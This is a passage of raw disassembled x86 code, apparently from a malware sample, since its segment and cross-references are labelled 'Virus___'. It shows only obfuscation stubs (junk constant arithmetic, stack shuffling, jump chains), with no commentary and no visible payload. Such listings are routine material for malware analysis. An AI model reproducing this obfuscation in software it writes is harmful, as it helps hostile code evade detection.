		pop	esi
		jmp	loc_5581B1
; ---------------------------------------------------------------------------


loc_55742F:				; CODE XREF: Virus___:005534DBj
		mov	esi, 654F052Bh
		inc	esi
		add	esi, 0FFFFFFFFh
		xor	esi, 306A1619h
		dec	esi
		add	esi, 2E32603Ah
		sub	ebx, esi
		pop	esi
		xor	ebp, ebx
		pop	ebx
		jmp	loc_552FFB
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_55A2E2
; ---------------------------------------------------------------------------


loc_557456:				; CODE XREF: Virus___:005576F0j
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_555B59
; ---------------------------------------------------------------------------


loc_557461:				; CODE XREF: Virus___:0055DBD4j
		add	al, ch
		push	0A53h
		mov	[esp], ebx
		jmp	loc_564CB8
; ---------------------------------------------------------------------------


loc_557470:				; CODE XREF: Virus___:0054F872j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_557475:				; CODE XREF: Virus___:0055A9CCj
		add	dword ptr [esp], 1ECF1127h
		jmp	loc_561077
; ---------------------------------------------------------------------------


loc_557481:				; CODE XREF: Virus___:0055FEB3j
		add	esp, 4
		jmp	loc_56236F
; ---------------------------------------------------------------------------


loc_55748C:				; CODE XREF: Virus___:0056108Bj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_562356
; ---------------------------------------------------------------------------


loc_5574A0:				; CODE XREF: Virus___:00554C45j
		mov	ebp, 432C5183h
		push	esi
		mov	esi, 299A1B72h
		sub	ebp, esi
		pop	esi
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	esi, 4E984CBDh
		jmp	loc_55102E
; ---------------------------------------------------------------------------


loc_5574C1:				; CODE XREF: Virus___:0055DC20j
		add	esp, 4
		jmp	loc_551744
; ---------------------------------------------------------------------------


loc_5574C9:				; CODE XREF: Virus___:00556796j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 29D30A7Bh
		shr	ebx, 8
		jmp	loc_56085C
; ---------------------------------------------------------------------------


loc_5574DF:				; CODE XREF: Virus___:00563F7Ej
		and	bl, 69h
		add	bl, 0FFh
		shl	bl, 1
		shl	bl, 1
		sub	bl, 61h
		and	ah, bl
		jmp	loc_553B60
; ---------------------------------------------------------------------------


loc_5574F3:				; CODE XREF: Virus___:0055B49Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 37347DFh
		add	edi, 1
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 27676538h
		xor	edi, eax
		jmp	loc_55F16D
; ---------------------------------------------------------------------------


loc_557519:				; CODE XREF: Virus___:00550944j
		sub	esp, 4
		jmp	loc_55205E
; ---------------------------------------------------------------------------


loc_557524:				; CODE XREF: Virus___:005524C0j
		sub	edi, esi
		pop	esi
		mov	eax, edi
		pop	edi
		push	edi
		mov	edi, 57CF1DBCh
		and	edi, 1007B65h
		dec	edi
		neg	edi
		inc	edi
		xor	edi, 0D21ED7E6h
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shl	eax, 1
		push	ebx
		push	ecx
		push	5ACE0A7Bh
		mov	ecx, [esp]
		jmp	loc_55410D
; ---------------------------------------------------------------------------


loc_557559:				; CODE XREF: Virus___:005648AEj
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5512C8
; ---------------------------------------------------------------------------


loc_557589:				; CODE XREF: Virus___:0056220Aj
		add	eax, 299835C3h
		sub	eax, 76F776C3h
		pop	ebx
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	esi
		push	ecx
		mov	ecx, 27521596h
		jmp	loc_551FD5
; ---------------------------------------------------------------------------


loc_5575B5:				; CODE XREF: Virus___:005643A0j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 517821FEh
		pop	eax
		pop	edx
		push	6987h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 47927479h
		mov	ecx, 4EACB84Eh
		sub	ecx, eax
		pop	eax
		sub	edx, ecx
		jmp	loc_55073E
; ---------------------------------------------------------------------------


loc_5575E8:				; CODE XREF: Virus___:005612B9j
		xor	[esp], edi
		jmp	loc_555787
; ---------------------------------------------------------------------------


loc_5575F0:				; CODE XREF: Virus___:00558D50j
		dec	dword ptr [esp]
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5575F9:				; CODE XREF: Virus___:00559D12j
		add	ebp, 0B1709CEh
		sub	ecx, ebp
		pop	ebp
		push	ebx
		jmp	loc_55CB2C
; ---------------------------------------------------------------------------


loc_557608:				; CODE XREF: Virus___:00551B31j
		add	esp, 4
		jmp	loc_55DC6C
; ---------------------------------------------------------------------------


loc_557610:				; CODE XREF: Virus___:0055604Ej
		push	ebp
		mov	ebp, 31D6303Dh
		xor	ebp, 31D63039h
		add	ecx, ebp
		pop	ebp
		push	17F1h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_55D4E9
; ---------------------------------------------------------------------------


loc_557631:				; CODE XREF: Virus___:00551EF6j
		sub	esi, 0DD4EF38h
		jmp	loc_55EF9B
; ---------------------------------------------------------------------------


loc_55763C:				; CODE XREF: Virus___:0055373Bj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5600D4
; ---------------------------------------------------------------------------


loc_557648:				; CODE XREF: Virus___:00553141j
		add	eax, 31444D62h
		add	eax, edi
		push	ebx
		mov	ebx, 7A8709BDh
		sub	ebx, 4C3C7CB5h
		xor	ebx, 76E3401h
		push	eax
		mov	eax, 159943B6h
		or	ebx, eax
		pop	eax
		and	ebx, 143B17C8h
		shr	ebx, 4
		sub	ebx, 0CFFF43D6h
		jmp	loc_5597D8
; ---------------------------------------------------------------------------


loc_55767E:				; CODE XREF: Virus___:0055641Bj
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55C704
; ---------------------------------------------------------------------------


loc_55769C:				; CODE XREF: Virus___:00554B34j
		add	ebp, 1CAD5B74h
		jmp	loc_550603
; ---------------------------------------------------------------------------


loc_5576A7:				; CODE XREF: Virus___:0055ECA5j
		mov	esi, 1D707BE1h
		not	esi
		not	esi
		dec	esi
		jmp	loc_54FD9F
; ---------------------------------------------------------------------------


loc_5576B6:				; CODE XREF: Virus___:00564212j
		sub	eax, 4
		jmp	loc_55E344
; ---------------------------------------------------------------------------


loc_5576C0:				; CODE XREF: Virus___:0055845Cj
		push	edx
		mov	edx, 436A4008h
		sub	edx, 2EA831A3h
		neg	edx
		sub	edx, 7CAF7FF9h
		push	esi
		mov	esi, 337230C8h
		jmp	loc_551B36
; ---------------------------------------------------------------------------


loc_5576DF:				; CODE XREF: Virus___:00561467j
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_563444
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_557456
; ---------------------------------------------------------------------------


loc_5576F5:				; CODE XREF: Virus___:005565AEj
		and	dh, al
		pop	ax
		jmp	loc_55EF75
; ---------------------------------------------------------------------------


loc_5576FE:				; CODE XREF: Virus___:00558F2Dj
		push	3D4Fh
		mov	[esp], eax
		mov	ah, 4Dh
		jmp	loc_550E49
; ---------------------------------------------------------------------------


loc_55770D:				; CODE XREF: Virus___:0056194Ej
		not	ebx
		push	esi
		mov	esi, 4E2E6300h
		add	ebx, esi
		pop	esi
		jmp	loc_5534DA
; ---------------------------------------------------------------------------


loc_55771D:				; CODE XREF: Virus___:0055F411j
		pop	edx
		add	edx, 0E0A059Ah
		jmp	loc_552E2F
; ---------------------------------------------------------------------------


loc_557729:				; CODE XREF: Virus___:0055EF36j
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 6513BF97h
		sub	ebx, edx
		pop	edx
		push	6E7Eh
		mov	[esp], ecx
		push	eax
		mov	al, 33h
		shr	al, 2
		neg	al
		neg	al
		sub	al, 51h
		push	ebx
		mov	bh, al
		mov	cl, bh
		jmp	loc_5555B3
; ---------------------------------------------------------------------------


loc_557759:				; CODE XREF: Virus___:00558CBEj
		add	edx, 1D8073B7h
		add	edx, 4E875A89h
		shl	edx, 3
		sub	edx, 2BEB8248h
		or	eax, edx
		pop	edx
		inc	eax
		add	eax, 288133A9h
		neg	eax
		not	eax
		add	eax, 83393958h
		sub	ecx, eax
		pop	eax
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_5579FA
; ---------------------------------------------------------------------------


loc_55778D:				; CODE XREF: Virus___:005591E0j
		push	edx
		mov	dl, 50h
		jmp	loc_55D31D
; ---------------------------------------------------------------------------


loc_557795:				; CODE XREF: Virus___:0055B689j
		mov	[esp], eax
		mov	ah, 0EDh
		jmp	loc_5613C1
; ---------------------------------------------------------------------------


loc_55779F:				; CODE XREF: Virus___:00562FB2j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5577AB:				; CODE XREF: Virus___:00557278j
		sub	ebp, 4
		push	ebp
		jmp	loc_55D53C
; ---------------------------------------------------------------------------


loc_5577B4:				; CODE XREF: Virus___:0055B8DAj
		mov	[esp], eax
		xor	dword ptr [esp], 2EDB1A42h
		push	dword ptr [esp]
		jmp	loc_55B218
; ---------------------------------------------------------------------------


loc_5577C6:				; CODE XREF: Virus___:005594F9j
		mov	eax, [esp]
		add	esp, 4
		and	ebx, 4A8E4DCAh
		push	eax
		mov	eax, 246B1F83h
		jmp	loc_55A6B0
; ---------------------------------------------------------------------------


loc_5577DD:				; CODE XREF: Virus___:0055CFCEj
		xor	ebx, 73827A0Dh
		jmp	loc_562C7E
; ---------------------------------------------------------------------------


loc_5577E8:				; CODE XREF: Virus___:0055BF58j
		add	ebx, eax
		sub	ebx, 4DFE33E8h
		jmp	loc_554568
; ---------------------------------------------------------------------------


loc_5577F5:				; CODE XREF: Virus___:00557FD9j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5577FA:				; CODE XREF: Virus___:005640E5j
		add	esp, 4
		jmp	loc_554D03
; ---------------------------------------------------------------------------


loc_557802:				; CODE XREF: Virus___:0055ADC0j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55655E
; ---------------------------------------------------------------------------


loc_557827:				; CODE XREF: Virus___:00561474j
		add	esp, 4
		add	esi, ecx
		pop	ecx
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_557845:				; CODE XREF: Virus___:005628DCj
		push	4EB1h
		mov	[esp], esi
		jmp	loc_561AC0
; ---------------------------------------------------------------------------


loc_557852:				; CODE XREF: Virus___:00563826j
		push	esi
		jmp	loc_5632FE
; ---------------------------------------------------------------------------


loc_557858:				; CODE XREF: Virus___:00562372j
		pop	edi
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_553F89
; ---------------------------------------------------------------------------


loc_557867:				; CODE XREF: Virus___:00562C49j
		xor	word ptr [esp],	57C7h
		pop	bx
		xor	bx, 57C7h
		pop	edi
		jmp	loc_555D7A
; ---------------------------------------------------------------------------


loc_55787A:				; CODE XREF: Virus___:0055E28Cj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_553491
; ---------------------------------------------------------------------------


loc_557888:				; CODE XREF: Virus___:0055DA81j
		mov	edi, [esp]
		jmp	loc_558731
; ---------------------------------------------------------------------------


loc_557890:				; CODE XREF: Virus___:00550FA0j
		dec	ebp
		and	ebp, 0C245F86h
		push	eax
		mov	eax, 5076150Bh
		neg	eax
		jmp	loc_5595E3
; ---------------------------------------------------------------------------


loc_5578A4:				; CODE XREF: Virus___:00556C4Dj
		push	7467h
		mov	[esp], esi
		jmp	loc_562C98
; ---------------------------------------------------------------------------


loc_5578B1:				; CODE XREF: Virus___:0055A2B4j
		mov	eax, [esp]
		add	esp, 4
		add	cl, 0F0h
		xor	al, cl
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0D8h
		not	bl
		inc	bl
		or	bl, 41h
		jmp	loc_55B9D2
; ---------------------------------------------------------------------------


loc_5578D4:				; CODE XREF: Virus___:00550456j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55E384
; ---------------------------------------------------------------------------


loc_5578E0:				; CODE XREF: Virus___:0055C87Fj
		add	edx, ebp
		pop	ebp
		dec	edx
		sub	edx, 2CEF4BDCh
		add	ebx, 212599Ah
		jmp	loc_55CAAE
; ---------------------------------------------------------------------------


loc_5578F5:				; CODE XREF: Virus___:0055D971j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	ebx, eax
		jmp	loc_555714
; ---------------------------------------------------------------------------


loc_557906:				; CODE XREF: Virus___:00559504j
		sub	edx, ebx
		jmp	loc_5623BB
; ---------------------------------------------------------------------------


loc_55790D:				; CODE XREF: Virus___:0055494Fj
		push	edx
		jmp	loc_552E11
; ---------------------------------------------------------------------------


loc_557913:				; CODE XREF: Virus___:0055C5E7j
		pop	ecx
		push	ecx
		mov	ecx, 2BB37BAh
		push	edx
		mov	edx, 5EA14BE5h
		add	ebp, edx
		jmp	loc_55EC5E
; ---------------------------------------------------------------------------


loc_557927:				; CODE XREF: Virus___:00562441j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ebx
		jmp	loc_550B80
; ---------------------------------------------------------------------------


loc_557939:				; CODE XREF: Virus___:005571EFj
		mov	[esp], edi
		push	ebx
		mov	ebx, 5F387130h
		mov	edi, ebx
		pop	ebx
		sub	[esp+4], edi
		jmp	loc_55CB25
; ---------------------------------------------------------------------------


loc_55794E:				; CODE XREF: Virus___:005645CDj
		sub	ebx, 3196FFCh
		sub	ecx, 30524202h
		jmp	loc_55D390
; ---------------------------------------------------------------------------


loc_55795F:				; CODE XREF: Virus___:00562FA1j
		sub	ebx, 39DB4D5Dh
		add	ebx, ecx
		add	ebx, 39DB4D5Dh
		mov	ecx, [esp]
		add	esp, 4
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_55FC22
; ---------------------------------------------------------------------------


loc_557987:				; CODE XREF: Virus___:0055B94Fj
		push	36Eh
		mov	[esp], eax
		mov	eax, 68E5574h
		sub	[esp+4], eax
		pop	eax
		push	eax
		push	esi
		jmp	loc_5645D8
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	6CCh
		mov	[esp], ebx
		jmp	loc_55A94C
; ---------------------------------------------------------------------------


loc_5579B0:				; CODE XREF: Virus___:005617DDj
		add	edi, 4
		jmp	loc_5501D0
; ---------------------------------------------------------------------------


loc_5579BB:				; CODE XREF: Virus___:0056422Dj
		push	edx
		mov	dl, cl
		push	eax
		mov	al, dl
		mov	bl, al
		pop	eax
		jmp	loc_56069C
; ---------------------------------------------------------------------------


loc_5579C9:				; CODE XREF: Virus___:0054FD9Aj
		mov	al, bl
		not	al
		jmp	loc_55BCBF
; ---------------------------------------------------------------------------


loc_5579D2:				; CODE XREF: Virus___:00562888j
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5545C2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6CC3h
		mov	[esp], eax
		jmp	loc_560EA0
; ---------------------------------------------------------------------------


loc_5579F4:				; CODE XREF: Virus___:00556280j
		push	eax
		jmp	loc_550AC2
; ---------------------------------------------------------------------------


loc_5579FA:				; CODE XREF: Virus___:00557788j
		pop	ecx
		jmp	loc_5633F0
; ---------------------------------------------------------------------------


loc_557A00:				; CODE XREF: Virus___:00562244j
		push	edi
		mov	edi, 28C767C4h
		sub	eax, edi
		pop	edi
		add	eax, ebp
		add	eax, 28C767C4h
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_551D3F
; ---------------------------------------------------------------------------


loc_557A19:				; CODE XREF: Virus___:00557E32j
		pop	ebx
		push	ecx
		sub	dword ptr [esp], 1931906h
		pop	dword ptr [edi+20h]
		add	dword ptr [edi+20h], 1931906h
		jmp	loc_551FA9
; ---------------------------------------------------------------------------


loc_557A31:				; CODE XREF: Virus___:005585A6j
		not	ebp
		sub	ebp, 0A72B531Dh
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_54FBEC
; ---------------------------------------------------------------------------


loc_557A43:				; CODE XREF: Virus___:00556669j
		pop	esp
		add	esp, 4
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		push	1DEAh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55E179
; ---------------------------------------------------------------------------


loc_557A65:				; CODE XREF: Virus___:0055978Bj
		add	ebx, 4
		jmp	loc_5544E0
; ---------------------------------------------------------------------------


loc_557A70:				; CODE XREF: Virus___:0055F21Fj
		mov	[esp], edx
		mov	dh, ch
		sub	esp, 4
		jmp	loc_55C5C2
; ---------------------------------------------------------------------------


loc_557A7D:				; CODE XREF: Virus___:00558CFAj
		xor	ebp, 21E612CEh
		add	ebp, 1CD18B9Bh
		add	ecx, ebp
		pop	ebp
		sub	ecx, 0D4197CCDh
		mov	esi, ecx
		pop	ecx
		push	esi
		neg	dword ptr [esp]
		pop	esi
		and	esi, 0EEA71E8h
		shl	esi, 4
		dec	esi
		sub	esi, 280C9C47h
		mov	edi, esi
		pop	esi
		mov	ecx, 3E66191Ah
		xor	ecx, 64F26F58h
		add	ecx, 23944BFDh
		jmp	loc_56440F
; ---------------------------------------------------------------------------


loc_557AC3:				; CODE XREF: Virus___:005539A4j
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_55A712
; ---------------------------------------------------------------------------


loc_557ACE:				; CODE XREF: Virus___:0055EBEBj
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		jmp	loc_55F3DE
; ---------------------------------------------------------------------------


loc_557ADF:				; CODE XREF: Virus___:005639C3j
		pop	edx
		inc	eax
		inc	eax
		sub	eax, 0FFFFFFFFh
		dec	eax
		jmp	loc_55AB5A
; ---------------------------------------------------------------------------


loc_557AEB:				; CODE XREF: Virus___:0055A265j
		mov	ah, 0
		sub	ah, 8Dh
		add	ah, 6Bh
		sub	ah, cl
		sub	ah, 6Bh
		add	ah, 8Dh
		pop	ecx
		push	ecx
		mov	ch, 95h
		jmp	loc_55F3F6
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_559083
; ---------------------------------------------------------------------------


loc_557B0A:				; CODE XREF: Virus___:0055E10Bj
		add	esp, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B2FC
; ---------------------------------------------------------------------------


loc_557B1E:				; CODE XREF: Virus___:00556A36j
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_55F1B9
; ---------------------------------------------------------------------------


loc_557B3A:				; CODE XREF: Virus___:00560DF7j
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 11343824h
		push	eax
		mov	eax, edx
		jmp	loc_54FBB0
; ---------------------------------------------------------------------------


loc_557B4C:				; CODE XREF: Virus___:00552612j
		add	ecx, esi
		jmp	loc_55316A
; ---------------------------------------------------------------------------


loc_557B53:				; CODE XREF: Virus___:00559F97j
		pop	ebx
		push	ebx
		mov	bh, al
		not	bh
		mov	al, bh
		pop	ebx
		jmp	loc_552243
; ---------------------------------------------------------------------------


loc_557B61:				; CODE XREF: Virus___:0055D31Ej
		mov	al, 0D3h
		shl	al, 1
		jmp	loc_56306B
; ---------------------------------------------------------------------------


loc_557B6A:				; CODE XREF: Virus___:0055B2DFj
		add	edi, 4
		push	esi
		jmp	loc_550D6E
; ---------------------------------------------------------------------------


loc_557B76:				; CODE XREF: Virus___:0055EB24j
		push	eax
		mov	eax, 25B96E48h
		sub	eax, 2EDB0D32h
		neg	eax
		push	ebx
		mov	ebx, 495019BFh
		inc	ebx
		xor	ebx, 67E23375h
		neg	ebx
		add	ebx, 58556DFDh
		xor	ebx, 620BE050h
		add	eax, ebx
		pop	ebx
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, 284E2D44h
		add	edi, 72944C0Dh
		sub	edi, edx
		sub	edi, 72944C0Dh
		pop	edx
		pop	ebp
		push	edx
		mov	edx, 343374DDh
		sub	ebp, edx
		pop	edx
		jmp	loc_553B0C
; ---------------------------------------------------------------------------


loc_557BCD:				; CODE XREF: Virus___:00560BF9j
		mov	ebx, 2
		add	edx, 5C4E2BECh
		add	edx, ebx
		sub	edx, 5C4E2BECh
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		push	6963h
		mov	[esp], ecx
		push	ebx
		jmp	loc_562AD3
; ---------------------------------------------------------------------------


loc_557BF3:				; CODE XREF: Virus___:00562D88j
		add	edx, 4
		add	edx, 4
		jmp	loc_550FB7
; ---------------------------------------------------------------------------


loc_557C04:				; CODE XREF: Virus___:0056343Fj
		add	ebx, edx
		jmp	loc_55541E
; ---------------------------------------------------------------------------


loc_557C0B:				; CODE XREF: Virus___:0055D066j
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, 535A6326h
		sub	ebp, 2B863359h
		add	ebp, esi
		add	ebp, 2B863359h
		jmp	loc_55F224
; ---------------------------------------------------------------------------


loc_557C33:				; CODE XREF: Virus___:005504D2j
		add	eax, edi
		sub	eax, 79BE7AF8h
		push	7C4Ah
		mov	[esp], ecx
		push	145Bh
		mov	[esp], ebx
		push	25A15475h
		pop	ebx
		jmp	loc_550C4C
; ---------------------------------------------------------------------------


loc_557C55:				; CODE XREF: Virus___:00554ABFj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54FD76
; ---------------------------------------------------------------------------


loc_557C5E:				; CODE XREF: Virus___:00559B98j
		add	edx, 0DA29B9C3h
		mov	edi, edx
		pop	edx
		xor	edi, 516E132Fh
		jmp	loc_5636DC
; ---------------------------------------------------------------------------


loc_557C72:				; CODE XREF: Virus___:00554CD4j
		add	ecx, 4
		push	eax
		push	6757h
		mov	[esp], edi
		mov	edi, 11C41F54h
		add	edi, 0B1D6BA6h
		jmp	loc_560297
; ---------------------------------------------------------------------------


loc_557C91:				; CODE XREF: Virus___:0055093Dj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_55B169
; ---------------------------------------------------------------------------


loc_557CA2:				; CODE XREF: Virus___:0055F7CBj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 336117F0h
		sub	edx, 1
		sub	edx, 724F45EEh
		xor	edx, 0BBC183Fh
		push	ebp
		mov	ebp, 11EB4463h
		sub	ebp, 991CD235h
		or	edx, ebp


loc_557CE2:				; DATA XREF: sub_545A2B-1A60o
		jmp	loc_56409C
; ---------------------------------------------------------------------------


loc_557CE7:				; CODE XREF: Virus___:00561282j
		pop	esp
		jmp	loc_55BAA8
; ---------------------------------------------------------------------------


loc_557CED:				; CODE XREF: Virus___:0055E94Fj
		push	1F6Ch
		mov	[esp], esi
		push	esp
		jmp	loc_561DB5
; ---------------------------------------------------------------------------


loc_557CFB:				; CODE XREF: Virus___:0055F8CDj
		add	ebp, 20F113D2h
		pop	esi
		push	0
		sub	dword ptr [esp], 41DB1F57h
		sub	[esp], ebp
		jmp	loc_557E73
; ---------------------------------------------------------------------------


loc_557D16:				; CODE XREF: Virus___:00554414j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55F3E8
; ---------------------------------------------------------------------------


loc_557D1F:				; CODE XREF: Virus___:0055AC31j
		mov	cl, 0BAh
		and	ah, cl
		mov	ecx, [esp]
		add	esp, 4
		add	ah, 4
		jmp	loc_563308
; ---------------------------------------------------------------------------


loc_557D34:				; CODE XREF: Virus___:0055645Fj
		pop	ebp
		push	ebx
		mov	ebx, 6E723382h
		sub	ebx, 6A23DE5Ch
		sub	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 0E4F59F9h
		push	eax
		mov	eax, 630622ADh
		xor	esi, eax
		pop	eax
		xor	esi, 4F753C2Dh
		add	esi, 0DFF8E9DFh
		add	eax, 41A426C8h
		jmp	loc_5546A1
; ---------------------------------------------------------------------------


loc_557D69:				; CODE XREF: Virus___:005508C5j
		push	ecx
		mov	ecx, 72630535h
		or	ecx, 460919D6h
		dec	ecx
		dec	ecx
		push	esi
		jmp	loc_55B56E
; ---------------------------------------------------------------------------


loc_557D7D:				; CODE XREF: Virus___:00556FD5j
		pop	esi
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6FAD12D5h
		add	ecx, 0EEC689Ah
		add	ecx, 81668495h
		push	ecx
		pop	eax
		pop	ecx
		sub	esi, 14DB6BECh
		add	esi, 61FC1E02h
		add	esi, eax
		sub	esi, 61FC1E02h
		jmp	loc_551C81
; ---------------------------------------------------------------------------


loc_557DC6:				; CODE XREF: Virus___:0055A6F2j
		mov	[esp], ebx
		push	1766h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		jmp	loc_55B092
; ---------------------------------------------------------------------------


loc_557DE0:				; CODE XREF: Virus___:0055866Fj
		sub	edi, 6855833h
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_551BF9
; ---------------------------------------------------------------------------


loc_557DF2:				; CODE XREF: Virus___:00558E7Fj
		pop	ebp
		push	edi
		mov	edi, 14341532h
		xor	esi, edi
		pop	edi
		push	esi
		sub	dword ptr [esp], 0F202858h
		pop	edi
		add	edi, 0F202858h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 36440939h
		jmp	loc_55AEA1
; ---------------------------------------------------------------------------


loc_557E1F:				; CODE XREF: Virus___:0054F905j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_55B5FF
; ---------------------------------------------------------------------------


loc_557E30:				; CODE XREF: Virus___:0055E729j
		xor	ecx, ebx
		jmp	loc_557A19
; ---------------------------------------------------------------------------


loc_557E37:				; CODE XREF: Virus___:005606A5j
		sub	al, bh
		mov	ebx, [esp]
		jmp	loc_556BE0
; ---------------------------------------------------------------------------


loc_557E41:				; CODE XREF: Virus___:00562A69j
		push	eax
		jmp	loc_55295D
; ---------------------------------------------------------------------------


loc_557E47:				; CODE XREF: Virus___:00563F05j
		xor	edx, 64D6D25Fh
		add	esi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_561D5D
; ---------------------------------------------------------------------------


loc_557E58:				; CODE XREF: Virus___:005560F9j
		add	esp, 4
		push	7A5Ch
		mov	[esp], edi
		jmp	loc_55EC50
; ---------------------------------------------------------------------------


loc_557E6B:				; CODE XREF: Virus___:005583D8j
		push	dword ptr [esp]
		jmp	loc_55CFD3
; ---------------------------------------------------------------------------


loc_557E73:				; CODE XREF: Virus___:00557D11j
		add	dword ptr [esp], 41DB1F57h
		mov	ebp, [esp]
		push	edx
		jmp	loc_560D2C
; ---------------------------------------------------------------------------


loc_557E83:				; CODE XREF: Virus___:0055217Aj
		mov	esp, [esp]
		jmp	loc_563B04
; ---------------------------------------------------------------------------


loc_557E8B:				; CODE XREF: Virus___:00550F4Dj
		sub	dword ptr [esp], 67DD35DAh
		pop	edx
		sub	esp, 4
		jmp	loc_55F141
; ---------------------------------------------------------------------------


loc_557E9E:				; CODE XREF: Virus___:0055117Dj
		push	2B08h
		jmp	loc_551D85
; ---------------------------------------------------------------------------


loc_557EA8:				; CODE XREF: Virus___:0055A434j
		pop	ebp
		add	esi, 5BC2650Ch
		add	esi, ebp
		push	ebp
		jmp	loc_555A35
; ---------------------------------------------------------------------------


loc_557EB7:				; CODE XREF: Virus___:0055BF8Cj
		mov	ebx, 41293BFAh
		add	ebx, 3A8258DAh
		jmp	loc_56266E
; ---------------------------------------------------------------------------


loc_557EC7:				; CODE XREF: Virus___:005649ABj
		mov	ecx, 14D77E24h
		shl	ecx, 1
		neg	ecx
		shr	ecx, 4
		dec	ecx
		shr	ecx, 5
		xor	ecx, 4BC379BEh
		sub	[esp+8], ecx
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5593A0
; ---------------------------------------------------------------------------


loc_557EED:				; CODE XREF: Virus___:0055625Bj
		add	ebp, 2B40AABAh
		push	edx
		mov	edx, 42E527DAh
		jmp	loc_560AFF
; ---------------------------------------------------------------------------
		sub	esp, 4
		jmp	loc_559369
; ---------------------------------------------------------------------------


loc_557F06:				; CODE XREF: Virus___:0055CCC1j
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_553601
; ---------------------------------------------------------------------------


loc_557F12:				; CODE XREF: Virus___:00554788j
		mov	[esp], eax
		mov	eax, 25BD6103h
		and	eax, 600E1A9Ah
		or	eax, 254214E7h
		jmp	loc_561497
; ---------------------------------------------------------------------------


loc_557F29:				; CODE XREF: Virus___:005537F4j
		sub	cl, ah
		jmp	loc_552E9A
; ---------------------------------------------------------------------------


loc_557F30:				; CODE XREF: Virus___:0055971Ej
